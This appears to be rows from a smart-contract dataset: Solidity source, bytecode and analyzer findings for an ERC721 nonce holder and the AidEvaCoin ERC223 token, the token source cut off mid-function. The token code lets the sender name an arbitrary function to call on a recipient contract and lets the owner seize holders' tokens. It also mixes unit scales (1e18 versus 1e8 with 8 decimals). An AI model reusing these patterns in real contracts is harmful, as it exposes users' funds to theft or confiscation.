00000000000000000000000000000000000000000081526004016108b3906112e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561092c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092390611282565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008111610a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2390611322565b60405180910390fd5b60011515600760009054906101000a900460ff16151514610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7990611342565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3361dead846040518463ffffffff1660e01b8152600401610ae3939291906111c5565b602060405180830381600087803b158015610afd57600080fd5b505af1158015610b11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b359190610fb1565b506000610b61600354610b5360045485610d5f90919063ffffffff16565b610dda90919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610bc09291906111fc565b602060405180830381600087803b158015610bda57600080fd5b505af1158015610bee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c129190610fb1565b506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610cbe576005339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b610d1081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e2490919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600033905090565b600080831415610d725760009050610dd4565b60008284610d809190611420565b9050828482610d8f91906113ef565b14610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc6906112c2565b60405180910390fd5b809150505b92915050565b6000610e1c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e82565b905092915050565b6000808284610e339190611399565b905083811015610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6f906112a2565b60405180910390fd5b8091505092915050565b60008083118290610ec9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec09190611240565b60405180910390fd5b5060008385610ed891906113ef565b9050809150509392505050565b600081359050610ef4816116f8565b92915050565b600081519050610f098161170f565b92915050565b600081359050610f1e81611726565b92915050565b600081519050610f3381611726565b92915050565b600060208284031215610f4b57600080fd5b6000610f5984828501610ee5565b91505092915050565b600080600060608486031215610f7757600080fd5b6000610f8586828701610ee5565b9350506020610f9686828701610ee5565b9250506040610fa786828701610f0f565b9150509250925092565b600060208284031215610fc357600080fd5b6000610fd184828501610efa565b91505092915050565b600060208284031215610fec57600080fd5b6000610ffa84828501610f0f565b91505092915050565b60006020828403121561101557600080fd5b600061102384828501610f24565b91505092915050565b6110358161147a565b82525050565b6110448161148c565b82525050565b60006110558261137d565b61105f8185611388565b935061106f8185602086016114c2565b61107881611553565b840191505092915050565b6000611090601c83611388565b915061109b82611564565b602082019050919050565b60006110b3602683611388565b91506110be8261158d565b604082019050919050565b60006110d6601b83611388565b91506110e1826115dc565b602082019050919050565b60006110f9602183611388565b915061110482611605565b604082019050919050565b600061111c602083611388565b915061112782611654565b602082019050919050565b600061113f601683611388565b915061114a8261167d565b602082019050919050565b6000611162601283611388565b915061116d826116a6565b602082019050919050565b6000611185601883611388565b9150611190826116cf565b602082019050919050565b6111a4816114b8565b82525050565b60006020820190506111bf600083018461102c565b92915050565b60006060820190506111da600083018661102c565b6111e7602083018561102c565b6111f4604083018461119b565b949350505050565b6000604082019050611211600083018561102c565b61121e602083018461119b565b9392505050565b600060208201905061123a600083018461103b565b92915050565b6000602082019050818103600083015261125a818461104a565b905092915050565b6000602082019050818103600083015261127b81611083565b9050919050565b6000602082019050818103600083015261129b816110a6565b9050919050565b600060208201905081810360008301526112bb816110c9565b9050919050565b600060208201905081810360008301526112db816110ec565b9050919050565b600060208201905081810360008301526112fb8161110f565b9050919050565b6000602082019050818103600083015261131b81611132565b9050919050565b6000602082019050818103600083015261133b81611155565b9050919050565b6000602082019050818103600083015261135b81611178565b9050919050565b6000602082019050611377600083018461119b565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113a4826114b8565b91506113af836114b8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113e4576113e36114f5565b5b828201905092915050565b60006113fa826114b8565b9150611405836114b8565b92508261141557611414611524565b5b828204905092915050565b600061142b826114b8565b9150611436836114b8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561146f5761146e6114f5565b5b828202905092915050565b600061148582611498565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156114e05780820151818401526020810190506114c5565b838111156114ef576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f54617267657420746f6b656e2062616c616e636520746f6f206c6f7700000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5377617020616c726561647920696e6974696174656400000000000000000000600082015250565b7f616d6f756e742063616e6e6f7420626520300000000000000000000000000000600082015250565b7f5377617020686173206e6f742073746172746564207965740000000000000000600082015250565b6117018161147a565b811461170c57600080fd5b50565b6117188161148c565b811461172357600080fd5b50565b61172f816114b8565b811461173a57600080fd5b5056fea2646970667358221220b4cf3e8d580b8d6ea19e6b8c631d25276cbdba311b83bdaa62c6e72cb25255f764736f6c63430008010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 965 |
0x66eb389ce42006930b09dddb0ccc171227f611f6 | /**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract IERC721Sale {
function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract OperatorRole is Context {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor () internal {
}
modifier onlyOperator() {
require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role");
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OwnableOperatorRole is Ownable, OperatorRole {
function addOperator(address account) public onlyOwner {
_addOperator(account);
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
}
contract ERC721SaleNonceHolder is OwnableOperatorRole {
mapping(bytes32 => uint256) public nonces;
IERC721Sale public previous;
constructor(IERC721Sale _previous) public {
previous = _previous;
}
function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256) {
uint256 newNonce = nonces[getPositionKey(token, tokenId)];
if (newNonce != 0) {
return newNonce;
}
if (address(previous) == address(0x0)) {
return 0;
}
return previous.getNonce(token, tokenId);
}
function setNonce(IERC721 token, uint256 tokenId, uint256 nonce) public onlyOperator {
nonces[getPositionKey(token, tokenId)] = nonce;
}
function getPositionKey(IERC721 token, uint256 tokenId) pure public returns (bytes32) {
return keccak256(abi.encodePacked(token, tokenId));
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80639870d7fe116100715780639870d7fe1461016f5780639e317f1214610195578063ac8a584a146101b2578063dd68c1e2146101d8578063e330a93514610204578063f2fde38b14610236576100b4565b80636d70f7ae146100b9578063715018a6146100f35780637c2b2e71146100fd57806389535803146101215780638da5cb5b1461015f5780638f32d59b14610167575b600080fd5b6100df600480360360208110156100cf57600080fd5b50356001600160a01b031661025c565b604080519115158252519081900360200190f35b6100fb610275565b005b610105610306565b604080516001600160a01b039092168252519081900360200190f35b61014d6004803603604081101561013757600080fd5b506001600160a01b038135169060200135610315565b60408051918252519081900360200190f35b6101056103e8565b6100df6103f7565b6100fb6004803603602081101561018557600080fd5b50356001600160a01b031661041b565b61014d600480360360208110156101ab57600080fd5b503561046e565b6100fb600480360360208110156101c857600080fd5b50356001600160a01b0316610480565b61014d600480360360408110156101ee57600080fd5b506001600160a01b0381351690602001356104d0565b6100fb6004803603606081101561021a57600080fd5b506001600160a01b038135169060208101359060400135610514565b6100fb6004803603602081101561024c57600080fd5b50356001600160a01b0316610584565b600061026f60018363ffffffff6105d416565b92915050565b61027d6103f7565b6102bc576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003546001600160a01b031681565b6000806002600061032686866104d0565b81526020019081526020016000205490508060001461034657905061026f565b6003546001600160a01b031661036057600091505061026f565b60035460408051638953580360e01b81526001600160a01b03878116600483015260248201879052915191909216916389535803916044808301926020929190829003018186803b1580156103b457600080fd5b505afa1580156103c8573d6000803e3d6000fd5b505050506040513d60208110156103de57600080fd5b5051949350505050565b6000546001600160a01b031690565b600080546001600160a01b031661040c61063b565b6001600160a01b031614905090565b6104236103f7565b610462576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b8161063f565b50565b60026020526000908152604090205481565b6104886103f7565b6104c7576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b81610687565b6040805160609390931b6bffffffffffffffffffffffff19166020808501919091526034808501939093528151808503909301835260549093019052805191012090565b61052461051f61063b565b61025c565b61055f5760405162461bcd60e51b815260040180806020018281038252603481526020018061087e6034913960400191505060405180910390fd5b806002600061056e86866104d0565b8152602081019190915260400160002055505050565b61058c6103f7565b6105cb576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b816106cf565b60006001600160a01b03821661061b5760405162461bcd60e51b81526004018080602001828103825260228152602001806108f36022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b3390565b61065060018263ffffffff61076f16565b6040516001600160a01b038216907fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d90600090a250565b61069860018263ffffffff6107f016565b6040516001600160a01b038216907f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d90600090a250565b6001600160a01b0381166107145760405162461bcd60e51b81526004018080602001828103825260268152602001806108586026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61077982826105d4565b156107cb576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6107fa82826105d4565b6108355760405162461bcd60e51b81526004018080602001828103825260218152602001806108b26021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff1916905556fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204f70657261746f7220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373a265627a7a72315820464b4a5877b1d11e32de611520944098e4418b42a398855a58e7160592a1b0cf64736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 966 |
0xcf083512f5152b2ba4293cafe78466596b253782 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* 彡(^)(^)
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* 彡(゚)(゚)
* @title AidEvaCoin
* @author AidEvaCoin
* @dev AidEvaCoin is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract AidEvaCoin is ERC223, Ownable {
using SafeMath for uint256;
string public name = "AidEvaCoin";
string public symbol = "AIVA";
uint8 public decimals = 8;
uint256 public totalSupply = 30e9 * 1e18;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function AidEvaCoin() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e18);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e18);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
